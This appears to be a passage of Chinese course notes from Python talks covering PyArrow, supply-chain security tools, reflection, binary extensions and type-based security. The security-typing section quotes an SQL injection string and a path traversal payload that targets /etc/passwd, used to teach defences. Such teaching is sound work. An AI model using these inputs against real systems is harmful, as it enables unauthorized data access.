您还可以创建内存映射文件来持久化 Arrow 格式数据,并在不同进程间高效共享。总之,目标是尽可能避免不必要的数据复制和转换。
P35:4:为何列式格式更快?
传统上,表格数据(行)是按行存储在内存中的。Apache Arrow 采用列式格式存储,即将同一列的数据连续存放。
这样做的主要优势在于向量化计算。现代 CPU 的 SIMD(单指令多数据)架构可以高效地对连续的大块数据(即整列)执行相同操作,从而极大地加速数据处理。
您可能会联想到 Parquet 这种列式存储文件格式。关键区别在于,Apache Arrow 是内存中的格式,支持直接计算。而 Parquet 文件需要先将数据提取到内存中才能进行计算。
PyArrow 提供了丰富的计算函数,主要分为三类:
- 向量函数:处理整个数据数组(向量)。
- 标量函数:处理单个值。
- 聚合函数:对向量进行归约计算,如求和。
以下是一个使用 PyArrow 计算函数的代码示例:
import pyarrow as pa
import numpy as np
# 创建 numpy 数组
np_array = np.array([1, 2, 3, 4, 5])
# 从 numpy 数组创建 pyarrow 数组(零拷贝)
pa_array = pa.array(np_array)
# 使用 pyarrow 计算函数
min_val = pa.compute.min(pa_array)
max_val = pa.compute.max(pa_array)
P35:5:实战:加速数据访问的三个例子
现在,我们通过三个具体例子,看看 PyArrow 如何加速数据访问。
例子一:读取 CSV 文件
我们使用一个约 126 MB 的 CSV 文件(纽约出租车行程数据)进行测试。
以下是操作和耗时对比:
- 使用 Pandas 直接读取 CSV:约 1.7 秒。
- 使用 PyArrow 读取 CSV:约 129 毫秒。
- 将 PyArrow 表转换为 Pandas DataFrame:约 65 毫秒。
即使将第2步和第3步的时间相加(约194毫秒),也远快于直接使用 Pandas 读取。这证明了通过 PyArrow 读取再转换的策略是高效的。
例子二:读取 Parquet 文件
Parquet 是天然的列式存储格式,与 Arrow 搭配使用相得益彰。
对比结果如下:
- 使用 Pandas 读取 Parquet:约 600 毫秒。
- 使用 PyArrow 读取 Parquet:约 100 毫秒。
PyArrow 再次展现了其高效性。
例子三:使用内存映射文件处理超大数据
Pandas 处理数据受限于内存大小。而 PyArrow 的内存映射文件功能允许您处理远大于内存的数据集。
例如,可以将一个 50GB 的 Arrow 格式文件进行内存映射:
import pyarrow as pa
# 创建内存映射,不分配内存
mmap = pa.memory_map(‘large_data.arrow‘)
# 读取整个表(50GB),但不加载到内存
table = pa.ipc.open_stream(mmap).read_all()
# 仅读取其中一列(如5GB),进行计算
distance_column = table.column(‘trip_distance‘)
mean_distance = pa.compute.mean(distance_column)
# 条件允许时,可零拷贝转换为 Pandas
df = table.to_pandas() # 可能零拷贝,取决于数据类型
通过只映射和访问需要的列,您可以对超大规模数据集进行交互式分析,而不会耗尽内存。
P35:6:跨网络传输数据:Apache Arrow Flight
上述例子处理的是本地数据访问。对于跨网络的数据传输,Apache 提供了 Arrow Flight。
Arrow Flight 是一个基于 gRPC 的协议,专门用于高效传输 Arrow 格式的数据缓冲区。它并非完全避免序列化,但将成本降到了最低:
- 序列化:不对数据本身进行序列化,只序列化少量的元数据(使用 Google FlatBuffers)。
- 反序列化:在接收端,过程被称为“再水合”,它比传统的反序列化快得多,主要是进行内存地址映射和复制。
在一个测试中,通过 Arrow Flight 在客户端和服务器之间传输 126 MB 的 Arrow 数据,往返总时间约为 400 毫秒。相比之下,使用传统的 pickle 进行序列化和反序列化同样规模的数据会慢得多。Arrow Flight 使得数据到达后即可立即使用,为分布式计算和微服务架构提供了极快的数据交换能力。
总结
本节课我们一起学习了如何利用 PyArrow 和 Apache Arrow 加速数据访问。
我们首先指出了传统数据交换中序列化/反序列化的性能瓶颈,并引入了“数据即新API”的概念。接着,我们深入了解了 Apache Arrow 作为一种内存列式格式规范,以及 PyArrow 作为其 Python 实现的核心价值。
通过三个实战示例,我们看到了 PyArrow 在读取 CSV、Parquet 文件以及通过内存映射处理超大数据集方面的显著性能优势。最后,我们介绍了 Apache Arrow Flight 如何为跨网络的数据传输提供高性能解决方案。

关键要点在于,通过采用统一的内存数据格式(Arrow),我们可以最大限度地减少不必要的数据复制和转换,让程序能更直接、更快速地处理数据,从而真正释放“数据石油”的价值。在您自己的项目中,不妨评估并尝试引入 PyArrow,以优化数据处理的性能。
036:演讲 - 达斯汀·英格拉姆

概述
在本节课中,我们将学习如何保障开源软件供应链的安全。课程内容基于达斯汀·英格拉姆(谷歌开源安全团队软件工程师)的演讲,涵盖了开源安全的核心概念、当前面临的挑战以及一系列新兴的工具和实践。我们将从基本术语开始,逐步深入到具体的安全措施和未来展望。
第一部分:核心概念与背景
开源软件供应链安全:P36.1:引言与核心问题
开源软件是现代软件开发的基础。达斯汀·英格拉姆作为谷歌开源安全团队的成员,将探讨如何保障这一庞大供应链的安全。

使用开源软件安全吗?答案是肯定的。每天都有海量的开源软件被成功部署和使用。然而,这并不意味着开源软件已经达到了其可能的最佳安全状态。安全与否,很大程度上取决于如何使用它以及你的威胁模型。

因此,更准确的问题是:我们如何安全地使用开源软件?

开源软件供应链安全:P36.2:为什么供应链安全至关重要
要理解如何保障安全,首先需要理解什么是软件供应链。软件供应链是创建和使用软件所涉及的一切,包括所有代码、库、工具和基础设施。
那么,为什么软件供应链安全现在成为一个重大问题?

几乎所有人都在使用开源软件。过去,我们对开源软件的创建、分发和消费做出了一些错误的假设,认为事情不会出错。然而,近期发生的一系列安全事件改变了这一看法。
以下是近期一些备受关注的供应链安全事件:
- 恶意库:在公共软件包仓库(如PyPI、npm)上发布了包含恶意代码的库。
- 新型供应链攻击:针对大型企业的复杂攻击。
- Log4Shell漏洞:一个广泛使用的Java日志库中存在的严重远程代码执行漏洞,影响巨大。
- Protestware:一类出于政治或社会抗议目的而修改行为的软件。
- SolarWinds事件:一次极其复杂、针对美国政府的国家级网络攻击。
目前对开源软件供应链安全高度关注的一个主要推动力,是美国总统行政命令14028,该命令旨在改善国家的网络安全。这项命令为整个软件行业(而不仅仅是政府)设定了更高的安全标准,产生了广泛的“良性病毒”效应。
第二部分:安全供应链核心概念解析
上一节我们介绍了供应链安全的重要性,本节中我们将深入理解其核心概念。我们将采用“AVC”的方式,梳理关键术语。
开源软件供应链安全:P36.3:从A到Z的关键术语
以下是构建安全软件供应链所需理解的核心概念:
A - 工件 (Artifact)
工件是独特的数据块,例如一个文件。在Python生态中,PyPI上的每个.whl或.tar.gz文件都可以被视为一个工件。公式表示为:Artifact = Unique(Data)。
A - 认证 (Attestation)
认证是加密安全且可验证的元数据,用于证明某个事件或状态的发生。它本质上是经过数字签名的声明。
A - 安全公告 (Advisory)
安全公告是对一个或多个工件中已知漏洞的公开披露。例如CVE(公共漏洞与暴露)。它只涵盖我们已知的漏洞。
B - 构建 (Build)
构建是将源代码(如Git仓库)转换为可分发工件的过程。构建环境的安全性至关重要。
C - 证书 (Certificate)
证书是从受信任的根证书颁发机构建立信任的基石。在现代供应链中,证书用于验证身份和签名。
D - 摘要 (Digest)
摘要通常指哈希摘要(如SHA-256),它是一个唯一且不可逆的数值,用于代表特定数据块。Digest = Hash(Data)。
E - 短暂性 (Ephemeral)
在密钥上下文中,短暂性指密钥是临时生成、使用后即丢弃的。这与需要长期保管的私钥形成对比。
F - 模糊测试 (Fuzzing)
模糊测试是一种安全测试技术,通过向程序输入大量畸形或意外的数据来发现潜在漏洞。
I - 身份 (Identity)
身份不仅指个人(如邮箱、GitHub账号),也包括自动化实体(如GitHub Actions工作流)。这些身份可用于进行数字签名。
K - 密钥 (Key)
非对称加密中的公钥和私钥对。私钥用于生成签名,公钥用于验证签名。Verify(Signature, PublicKey) == True。
L - 锁定文件 (Lockfile)
锁定文件是应用程序所依赖的确切工件的完整清单,包括版本和哈希值。例如Pipfile.lock。
O - OpenID Connect (OIDC)
OIDC是建立在OAuth 2.0之上的身份层。它允许服务(如CI/CD平台)为工作流提供可验证的身份,这在自动化签名中非常有用。
P - 来源证明 (Provenance)
来源证明是描述工件完整历史的可验证记录,包括其来源、构建者、构建环境等信息。
P - 策略 (Policy)
策略是描述安全期望或要求的规则集合,可以针对代码库、组织或依赖项进行定义和评估。
S - 签名 (Signature)
签名是使用私钥对数据(如工件)进行加密处理的结果,提供可验证的批准证明。


T - 透明日志 (Transparency Log)
透明日志是已签名元数据的公共、不可变的记录。任何人都可以查看和审计,确保日志内容不被篡改。
V - 漏洞 (Vulnerability)
漏洞是软件中的安全缺陷。它们可以是已知的(有安全公告)或未知的(零日漏洞)。
第三部分:实践安全使用开源软件
理解了基本概念后,我们来看看如何将这些概念付诸实践,安全地使用开源软件。
开源软件供应链安全:P36.4:漏洞管理与审计

保障供应链安全的第一步是管理已知风险。以下是相关工具和实践:

社区安全公告数据库
这是一个集中式的、针对特定生态系统的公共漏洞信息库。Python生态系统的公告数据库是PyPI Advisory Database。它的目标是让报告和发现漏洞变得更加容易。
OSV(开源漏洞)数据库
OSV是一个中立的聚合器,它从各个生态系统的公告数据库(包括PyPI的)中收集漏洞信息,并通过统一的API提供。
漏洞审计工具:pip-audit
pip-audit是一个开源工具,它使用OSV数据库的API来扫描Python环境或requirements.txt文件,检查是否存在已知漏洞。


你可以通过以下方式使用它:
# 安装
pip install pip-audit
# 扫描当前环境
pip-audit
# 扫描指定的requirements文件
pip-audit -r requirements.txt
# 自动修复(升级到安全版本)
pip-audit --fix
运行后,它会列出发现的漏洞、受影响的包以及建议的修复版本。
开源软件供应链安全:P36.5:工件签名与身份验证
传统的GPG签名因密钥管理复杂和信任建立困难而难以普及。新兴的Sigstore项目提供了一种全新的解决方案。

Sigstore的核心创新点包括:
- 短暂密钥:每次签名都生成新的密钥对,用后即弃,无需长期管理私钥。
- 基于身份的签名:使用OIDC身份(如GitHub账户、Google账户)进行签名,解决了“谁签的名”的信任问题。
- 证书颁发:一个证书颁发机构(CA)将短暂的公钥与签名者的OIDC身份绑定,颁发短期有效的证书。
- 透明日志:每次签名记录都会发布到公共的、不可篡改的透明日志(Rekor)中,供所有人验证。

对于Python用户,可以使用sigstore-python库来签署和验证工件。
# 安装
pip install sigstore

# 使用GitHub Actions环境身份签署一个文件
sigstore sign my-package.whl

开源软件供应链安全:P36.6:构建安全与策略执行
SLSA(软件工件的供应链级别)
SLSA是一个安全框架,用于评估和提升软件构建过程的安全性。它定义了从SLSA 0到SLSA 3的级别,级别越高,构建过程的可信度和安全性越高。
In-Toto框架
In-Toto是一个提供供应链完整性的框架。它通过生成来源证明,记录并验证软件从源码到产物的每一步操作,确保构建过程未被篡改。
GitHub安全策略执行:Allstar
Allstar是一个GitHub应用程序,用于为仓库或整个组织设置和执行安全策略。例如,它可以强制要求分支保护、检查是否禁用了危险设置、或确保使用了双因素认证等。
开源软件供应链安全:P36.7:PyPI的增强安全措施
Python包索引(PyPI)正在引入多项重要的安全增强功能:
- 强制双因素认证(2FA):对于下载量前1%的关键项目及其维护者,将强制启用2FA。
- 硬件安全密钥赠送:为了支持强制2FA,谷歌将向符合条件的PyPI维护者赠送数千个Titan安全密钥。
- 无凭证发布:未来将支持通过OIDC身份(如GitHub Actions工作流身份)直接向PyPI发布包,无需使用密码或API令牌。
- 仓库元数据签名:通过PEP 458(TUF)和PEP 480(开发者签名)等提案,为PyPI的元数据和工件提供端到端的签名验证。
第四部分:总结与未来展望
开源软件供应链安全:P36.8:协作、行动与总结
如何共同推进供应链安全
- 供应商中立的协作:通过OpenSSF(开源安全基金会) 等组织,各大公司可以协作推进像Sigstore、SLSA这样的公共安全项目。
- 资金与赞助:对Python软件基金会(PSF)、OpenSSF等进行经济赞助,支持其安全计划。
- 参与和贡献:作为用户,积极使用新的安全工具;作为开发者,为这些开源安全项目贡献代码或反馈。
对未来的预测
- 对于开源仓库、安装器或维护者,将迎来更多的关注和资源投入。
- 开源维护者将被要求采用新的安全实践(如2FA)。
- 开源用户需要主动提升相关知识,以适应日益增强的安全生态。
总结
在本节课中,我们一起学习了开源软件供应链安全的完整图景:
- 我们探讨了供应链安全为何至关重要,并理解了核心术语。
- 我们介绍了管理已知漏洞的工具(如
pip-audit)和数据库。 - 我们深入了解了基于身份的现代签名方案Sigstore,它解决了传统GPG签名的痛点。
- 我们了解了提升构建过程安全性的框架SLSA和In-Toto。
- 我们展望了PyPI即将推出的关键安全增强功能。
- 最后,我们认识到通过OpenSSF等组织的协作以及社区的广泛参与,是构建更安全开源生态的关键。

保障开源软件供应链安全是一个持续的过程,需要工具、实践和社区共同努力。现在,是开始行动的时候了。
037:讨论 - 格雷厄姆·布莱尼 & 普拉迪普·库马尔·斯里尼瓦桑


概述
在本教程中,我们将学习如何利用 Python 的类型系统来提升代码的安全性。我们将探讨类型注解如何帮助持续预防和检测常见的安全漏洞,例如 SQL 注入、路径遍历和隐私数据泄露。通过具体的代码示例,我们将展示类型如何使安全编码变得既方便又可靠。
1:安全左移与类型的作用
在安全领域,“左移”是一个核心概念。它指的是在软件开发生命周期中,越早发现和修复漏洞,其成本和影响就越低。最糟糕的情况是漏洞被外部攻击者利用。更好的情况是我们通过自动化工具或代码设计本身来预防漏洞。
对于大多数项目(尤其是资源有限的开源项目或小型团队),实现安全左移最现实的方法就是依赖自动化预防和检测。本次讨论的核心论点是:Python 的类型注解是持续预防和检测漏洞的强大工具。
我们将围绕一个示例照片分享网络应用来展开,它有两个主要端点:
get_photos_for_user(username): 根据用户名获取照片列表。get_photo_by_id(photo_id): 根据照片ID获取特定照片。
接下来,我们将看看类型如何帮助保护这个应用。
2:使用 LiteralString 预防命令注入
上一节我们介绍了安全左移的概念,本节中我们来看看类型如何帮助预防一类经典漏洞:命令注入(以 SQL 注入为例)。
在示例应用中,get_photos_for_user 端点可能这样构建 SQL 查询:
# 危险:使用字符串插值(F-string)
query = f"SELECT * FROM photos WHERE owner = '{username}'"
cursor.execute(query)
如果攻击者传入用户名 admin' OR '1'='1,就会导致 SQL 注入。最佳实践是使用参数化查询,将命令与数据分离:
# 安全:使用参数化查询
query = "SELECT * FROM photos WHERE owner = %s"
cursor.execute(query, (username,))
然而,开发者可能因为方便而错误地使用 F-string。我们希望库的 API 设计能引导开发者走向安全路径。类型系统可以帮忙。如果 execute 方法只接受普通的 str 类型,它无法区分安全和不安全的字符串。
Python 3.11 引入了 LiteralString 类型(旧版本可通过 typing_extensions 导入)。它表示由字面量字符串构建的字符串。我们可以重新定义 execute 的签名:
from typing import LiteralString
def execute(self, query: LiteralString, parameters: tuple = ...) -> None:
...
现在,当我们使用参数化查询时,查询字符串是一个字面量,类型检查通过:
query: LiteralString = "SELECT * FROM photos WHERE owner = %s" # 这是 LiteralString
cursor.execute(query, (username,)) # 类型检查通过
而使用 F-string 时,由于插入了变量 username(其类型是普通的 str),生成的查询类型也是 str,而非 LiteralString,类型检查器会报错:
query = f"SELECT * FROM photos WHERE owner = '{username}'" # 类型是 `str`
cursor.execute(query) # 类型检查器报错:期望 `LiteralString`,得到 `str`
这种方法将安全责任从库的使用者转移到了库的作者身上。它不仅能预防 SQL 注入,同样适用于 Shell 命令注入、服务器端模板注入等场景。
关键点总结:通过在敏感 API 中使用 LiteralString 类型,我们可以利用类型检查器在编码阶段就预防命令注入漏洞。
3:使用运行时类型验证确保数据格式
上一节我们看到了如何预防代码注入,本节我们来看看如何确保外部输入的数据格式符合预期,从而避免另一类漏洞。
在 get_photo_by_id 端点中,代码可能这样处理请求:
import json
import os
def get_photo_by_id(request_body: str) -> bytes:
data = json.loads(request_body) # 加载 JSON
photo_id = data["photo_id"] # 获取 photo_id 字段
filepath = os.path.join("pictures", str(photo_id))
with open(filepath, "rb") as f:
return f.read()
如果攻击者传入 {"photo_id": "../../etc/passwd"},代码就会尝试读取系统密码文件,造成路径遍历漏洞。问题在于我们盲目信任了用户输入的 photo_id 是数字。
我们可以手动编写验证代码,但这很繁琐且容易出错。类型注解结合运行时验证库可以优雅地解决这个问题。以下是使用 dataclasses-json 库的例子:
from dataclasses import dataclass
from dataclasses_json import dataclass_json
@dataclass_json
@dataclass
class PhotoRequest:
photo_id: int # 明确声明字段类型为 int
def get_photo_by_id_safe(request_body: str) -> bytes:
try:
request = PhotoRequest.from_json(request_body) # 自动验证并解析
photo_id = request.photo_id # 保证是 int 类型
filepath = os.path.join("pictures", str(photo_id))
with open(filepath, "rb") as f:
return f.read()
except ValidationError:
raise ValueError("Invalid request")
当攻击者传入恶意字符串时,from_json 方法会抛出 ValidationError,因为字符串无法转换为 int 类型。这样,我们就用几行声明式的代码防止了漏洞。
关键点总结:利用基于类型注解的运行时数据验证(如 Pydantic, dataclasses-json),可以简洁、安全地处理外部输入,避免因数据格式不符导致的安全问题。
4:利用数据流分析检测复杂漏洞
前面两节我们探讨了如何预防具体漏洞,本节我们来看看如何利用类型进行更复杂的分析,以检测那些无法通过简单类型约束发现的问题,例如隐私数据泄露。
回顾 get_photos_for_user 端点,它应该检查当前用户是否有权限查看目标用户的照片。最初的代码缺少这个隐私检查:
def get_photos_for_user(current_user_id: int, target_username: str) -> List[Photo]:
query = "SELECT * FROM photos WHERE owner = %s"
cursor.execute(query, (target_username,))
photos = cursor.fetchall()
return photos # 问题:未检查 current_user_id 是否有权限
这里的问题是,current_user_id 和返回的 photos 在类型层面都是整数或对象,类型系统无法区分“已授权访问的数据”和“未授权访问的数据”。我们需要一种能跟踪数据在程序中如何流动的工具。
这种技术称为数据流分析或污点分析。它跟踪特定数据(源)在程序中的传播路径,直到它到达我们关心的位置(汇)。在 Meta,我们使用一个名为 Pysa 的开源工具(基于 Pyre 类型检查器)来做这件事。
我们可以配置 Pysa:
- 源:将来自数据库查询的结果标记为“用户数据”。
- 汇:将返回给 HTTP 响应的数据标记为“输出点”。
- 净化函数:将执行权限检查的函数(如
check_privacy)标记为“净化点”,经过它的数据被认为是安全的。
当我们对没有隐私检查的代码运行 Pysa 时,它会报告一条从数据库到返回值的“污点数据流”,从而发现漏洞。当我们添加了 check_privacy(current_user_id, photo) 调用后,Pysa 看到数据流经过了净化函数,便不会报告问题。
那么,类型注解在这里起什么关键作用呢?数据流分析需要精确知道程序调用了哪个函数、哪个方法。考虑以下代码:
conn = create_sql_connection()
conn.execute(query) # 调用的是哪个 `execute` 方法?
如果 create_sql_connection 没有返回类型注解,分析工具就无法确定 conn 是 SQLConnection 对象(有 execute 方法)还是其他什么对象。有了类型注解,工具就能进行精确的调用解析,这是实现高精度数据流分析的基础。
研究表明,类型覆盖率对数据流分析的效果有巨大影响。在示例中,将类型注解覆盖率从 100% 降低到 80%,可能导致可检测到的数据流减少超过 40%。
关键点总结:高质量的类型覆盖为高级静态分析工具(如污点分析工具 Pysa)提供了基础,使其能够检测 SQL 注入、XSS、秘密泄露、SSRF 等复杂的安全漏洞。
5:如何为你的项目添加类型
我们已经了解了类型的强大之处,现在来看看如何在实际项目中引入和提升类型覆盖率。Instagram 的数百万行代码实现全面类型注解,提供了很好的范例,主要途径有以下三种:
以下是具体的方法:
- MonkeyType:这是一个开源工具,它在程序运行时收集类型信息,并生成存根文件,之后可以将这些类型信息添加回源代码中。
- Pyre Infer:这是 Pyre 类型检查器的一个功能。当你代码库中已有一部分类型时,Pyre Infer 可以推断出其他未注解部分的类型,并建议添加。
- 手动注解:工具无法覆盖所有情况,尤其是一些复杂的泛型或动态模式。一定程度的、有针对性的手动工作是达到高类型覆盖率所必需的。
总结
在本教程中,我们一起学习了如何利用 Python 类型系统来构建更安全的应用程序。
我们首先理解了安全左移的理念,并论证了类型注解是实现自动化预防和检测的关键。接着,我们通过三个具体方案深入探讨:
- 使用
LiteralString类型,在 API 层面预防 SQL 注入等命令注入漏洞。 - 利用基于类型的运行时验证(如 Pydantic),确保外部输入的数据格式安全,防止路径遍历等问题。
- 通过提高类型覆盖率,为数据流分析工具(如 Pysa)提供基础,以检测隐私泄露等复杂的数据流相关漏洞。


最后,我们介绍了为项目添加类型的实用方法。将类型检查集成到开发流程和 CI/CD 中,能持续保障代码安全。希望本教程能让你相信类型注解的价值,并开始在你的项目中实践类型安全编码。
038:反射简介



概述
在本节课中,我们将要学习Python中的反射。反射是代码查看自身的能力。我们将探索Python解释器如何查看运行中的代码,并学习如何获取相同的信息。课程将涵盖内置函数、特殊方法(魔法方法)以及inspect标准库模块的使用。


1. 反射的基本概念
反射是代码查看自身的能力。Python内置了强大的反射功能,目前有大约70个内置函数,其中约15个专门用于查看代码和提取信息。
这些信息有些是隐藏的,有些是“魔法”,但没有什么是真正的秘密。Python并非有意隐藏这些内容,只是为了在常规编码时将它们放在一边。
2. 使用help()函数


如果我们想了解一个对象,可以从交互式解释器开始,简单地调用help()函数。
以下是使用help()的步骤:
- 在交互式解释器中输入
help(),可以获取如何使用帮助的指导。 - 输入
help(help)可以了解help函数本身的详细信息。 - 输入
help(pickle)可以获取关于pickle模块的详尽信息。
help()的输出结构清晰:
- 首先描述对象的类型和名称。
- 接着显示对象的文档字符串(
docstring)。 - 然后列出模块中定义的所有类及其继承关系。
- 对于每个类,列出其所有方法。
- 接着列出模块中的所有顶级函数及其签名。
- 最后显示模块中的常量和源代码位置。
然而,help()函数有一个关键限制:它不返回任何值。所有信息都输出到屏幕,程序无法捕获这些信息来做决策。
3. 探索Python对象模型
既然help()无法提供程序可用的数据,我们需要深入Python对象模型来寻找信息。这些信息存储在对象的“魔法属性”中。
在Python中,魔法方法(Dunders)是指以双下划线开头和结尾的特殊方法,例如__str__。解释器使用这些方法来运行程序。
3.1 使用print和repr
print()函数通过调用对象的__str__魔法方法来获取其字符串表示。在交互式解释器中直接输入对象名,则会调用repr()函数,它使用__repr__魔法方法。虽然两者输出可能相似,但并不可靠,因为开发者可以重写这些方法。
3.2 访问魔法属性
为了获取help()展示的信息,我们可以直接访问对象的魔法属性。
以下是关键魔法属性:
__class__:对象的类型。__name__:对象的规范名称。__doc__:对象的文档字符串。__file__:对象定义所在的文件(适用于模块)。__module__:对象所属的模块(适用于类、函数)。__bases__:类的直接父类(元组形式)。__mro__:方法解析顺序。
对于函数,获取签名信息更为复杂:
- 参数名称存储在
__code__.co_varnames中。 - 参数的默认值存储在
__defaults__和__kwdefaults__中。 - 类型注解存储在
__annotations__中。


通过访问这些属性,我们可以重建help()输出的所有信息,并以程序可用的形式存储。
4. 使用inspect标准库模块


手动访问魔法属性虽然可行,但较为繁琐且容易出错。Python提供了更优雅的解决方案:inspect模块。
inspect模块专门用于检查运行中的代码。它提供了一系列函数,可以安全、统一地获取对象信息,无需直接处理魔法属性。
以下是inspect模块的一些常用函数:
inspect.getdoc(obj):获取对象的文档字符串。inspect.getfile(obj):获取对象定义所在的文件。inspect.signature(func):获取函数的签名。inspect.isclass(obj),inspect.isfunction(obj)等:判断对象的类型。
使用inspect模块更加安全,因为它能处理更多边缘情况,并且函数名清晰地表明了查询的意图。
5. 判断对象类型与能力
在深入检查对象之前,最好先判断对象的类型和能力,以便提出合适的问题。

以下是相关的内置函数:
type(obj):总是返回对象的类型。在Python中,一切皆对象,因此此函数总是有效。id(obj):返回对象的唯一标识符。callable(obj):判断对象是否可调用(如函数、类、有__call__方法的实例)。isinstance(obj, class):判断对象是否是某个类(或其子类)的实例。issubclass(cls, class):判断一个类是否是另一个类的子类。

注意:isinstance和issubclass可以配合抽象基类(ABC)使用,以检查对象是否实现了特定协议(如可迭代、序列),而不仅仅是检查继承关系。
6. 获取对象的成员列表
help()能够列出模块或类的所有成员。在程序中,我们也有多种方法获取对象的属性。
以下是获取对象成员的方法:
vars(obj):返回对象__dict__属性的副本,即其属性和值的映射。不传递参数时,返回当前局部作用域的字典。locals()和globals():分别返回当前局部和全局作用域的字典。dir(obj):尝试列出对象所有可访问的属性名称,包括通过继承获得的属性。它尽力而为,但在动态语言中无法保证完全准确。inspect.getmembers(obj):结合了vars和dir的优点,返回对象所有成员的(名称, 值)对列表。hasattr(obj, name)和getattr(obj, name):最精确的方法,它们模拟了点号.属性访问的查找过程,可以明确判断属性是否存在并获取其值。

总结
本节课中我们一起学习了Python反射的核心概念。我们了解到:
- 反射是代码内省自身的能力。
help()函数能提供丰富信息,但无法被程序捕获。- 信息存储在对象的魔法属性(如
__name__,__doc__)中。 inspect模块提供了更安全、便捷的API来获取这些信息。- 可以使用
type(),callable()等函数预先判断对象的类型和能力。 - 可以使用
dir(),vars(),inspect.getmembers()等函数获取对象的成员列表。

Python并没有对你隐藏秘密,魔法属性被“隐藏”只是为了避免在常规编程中被意外使用。请放心地在交互式环境或代码中探索你的对象,这没有任何风险。
039:建立二进制扩展 🛠️


在本教程中,我们将学习如何为 Python 创建高性能的二进制扩展。我们将探讨为何需要二进制扩展、可用的工具链、以及如何从编写代码到打包分发的完整流程。通过本教程,即使是初学者也能理解如何将性能关键的代码用编译语言实现,并与 Python 无缝集成。
概述:为什么需要二进制扩展?⚡
Python 因其易用性和庞大的生态系统而广受欢迎。然而,在处理计算密集型任务时,纯 Python 代码可能成为性能瓶颈。一个常见的解决方案是使用像 NumPy 或 Pandas 这样底层由编译代码(如 C、C++)实现的库。但如果你需要的算法尚未有现成的库呢?这时,创建你自己的二进制扩展就变得至关重要。
上一节我们介绍了二进制扩展的必要性,本节中我们来看看什么是二进制扩展以及它的优势。
什么是二进制扩展?🔧
二进制扩展是预编译的代码模块(通常为 .so、.dll 或 .pyd 文件),它们可以直接被 Python 解释器导入和使用。这些模块用 C、C++ 或 Rust 等语言编写,编译后能提供接近原生代码的性能。
- 性能:编译后的代码执行速度远快于纯 Python 代码。
- 代码复用:可以封装现有的、用其他语言编写的高性能库,避免重复造轮子。
- 分发:通过 Wheel 文件分发,用户无需本地编译即可安装。
以下是 Python 包分发的几种 Wheel 文件示例:
package-1.0-py3-none-any.whl:纯 Python Wheel,无平台依赖。numpy-1.24.2-cp310-cp310-win_amd64.whl:包含二进制扩展的 Wheel,针对特定平台(如 Windows 64 位)和 Python 版本。
核心工具与方案选择 🧰
在深入实践之前,了解可用的工具和方案非常重要。主要路径可分为三类:即时编译、让 Python 更快、以及预编译的二进制扩展。
1. 即时编译 (JIT)
像 Numba 这样的工具可以在运行时将 Python 函数编译为机器码。
- 优点:使用简单,通常只需添加一个装饰器。
- 缺点:需要运行时编译开销,支持的语言特性可能有限。
from numba import jit
@jit(nopython=True)
def fast_function(x):
# 你的计算代码
return result
2. 让 Python 解释器更快
例如使用 PyPy(一个带有 JIT 的 Python 实现)或关注 CPython 的性能优化分支。
- 优点:无需修改代码即可获得加速(对纯 Python 代码有效)。
- 缺点:对已经调用编译库(如 NumPy)的代码提升有限,可能存在第三方库兼容性问题。
3. 预编译的二进制扩展
这是我们教程的重点。你需要编写 C/C++ 代码,并通过“绑定”工具使其在 Python 中可用。
上一节我们比较了不同加速方案,本节中我们聚焦于预编译方案,并看看有哪些优秀的绑定工具。
绑定工具介绍 🔗
绑定工具帮助你在编译语言(如 C++)和 Python 之间搭建桥梁。
用于绑定现有库的工具
ctypes:Python 标准库的一部分,用于调用 C 语言编写的动态链接库。需要手动管理数据类型转换。CFFI:一个更友好、功能更强的外部库,可以解析 C 头文件并自动生成绑定代码,提高了安全性和易用性。

用于编写新扩展的工具
Cython:一种类似 Python 的语言,会被编译成 C 代码。它可以用来给纯 Python 代码加速,也可以方便地调用 C/C++ 库。语法是 Python 的超集。# cython_example.pyx def cython_fib(int n): cdef int i cdef double a=0.0, b=1.0 for i in range(n): a, b = a + b, a return aPyBind11:一个轻量级的、仅头文件的 C++ 库,用于将 C++ 代码暴露给 Python。它的 API 非常简洁,利用了现代 C++ 的特性(如类型推断、lambda 表达式)。#include <pybind11/pybind11.h> int add(int i, int j) { return i + j; } PYBIND11_MODULE(example, m) { m.doc() = "pybind11 example plugin"; m.def("add", &add, "A function which adds two numbers"); }mypyc:将带有类型注解的 Python 代码编译成 C 扩展。它是 MyPy 项目的一部分,让你能用纯 Python 语法编写可编译的代码。# mypyc_example.py def mypyc_fib(n: int) -> int: a, b = 0, 1 for _ in range(n): a, b = a + b, a return a
如何选择?
- 如果你想加速已有的 Python 算法,试试
Numba或mypyc。 - 如果你想为现有的 C/C++ 库创建 Python 接口,
PyBind11或CFFI是绝佳选择。 - 如果你需要混合 Python 和 C 语法,并追求极致性能,
Cython非常强大。
实战:使用 PyBind11 创建扩展 🚀
理论介绍完毕,现在让我们动手实践。我们将使用 PyBind11 为一个 C++ 命令行解析库 CLI11 创建一个简单的 Python 包装器。
第一步:编写绑定代码
我们创建一个 bindings.cpp 文件。
#include <pybind11/pybind11.h>
#include <CLI/CLI.hpp>
namespace py = pybind11;
// 创建一个自定义异常类型,映射 CLI11 的解析错误
class CLI11Error : public std::runtime_error {
using std::runtime_error::runtime_error;
};
PYBIND11_MODULE(_cli11, m) {
m.doc() = "Python bindings for CLI11 library";
// 将 C++ 异常翻译为 Python 异常
py::register_exception<CLI11Error>(m, "CLI11Error");
// 包装 CLI::App 类
py::class_<CLI::App>(m, "App")
.def(py::init<>())
.def("add_flag", [](CLI::App &self, const std::string &name) {
return self.add_flag(name);
}, py::return_value_policy::reference_internal)
.def("__getitem__", [](CLI::App &self, const std::string &name) -> bool {
try {
return self.count(name) > 0;
} catch (const CLI::ParseError &e) {
throw CLI11Error(e.what());
}
})
.def("__str__", &CLI::App::to_string);
}
第二步:创建 __init__.py
为了让 Python 模块更友好,我们创建一个 __init__.py 文件。
from ._cli11 import App, CLI11Error
__all__ = ["App", "CLI11Error"]
第三步:编写测试
创建 test_cli11.py 来验证我们的绑定是否工作。
import pytest
from cli11 import App, CLI11Error
def test_app_creation():
app = App()
assert app is not None
def test_add_flag():
app = App()
app.add_flag("--verbose")
# 这里模拟解析参数,在实际使用中需要调用 app.parse_args()
# 为简单起见,我们只测试对象创建和属性
if __name__ == "__main__":
pytest.main([__file__])
上一节我们完成了核心绑定代码的编写,本节中我们来看看如何构建和编译这个扩展。
构建系统:使用 Scikit-Build 和 CMake 🏗️
传统上,使用 setuptools 编译扩展很繁琐。Scikit-Build 是一个基于 CMake 的构建系统,大大简化了过程。
第一步:创建 pyproject.toml
这是现代 Python 项目的配置文件。
[build-system]
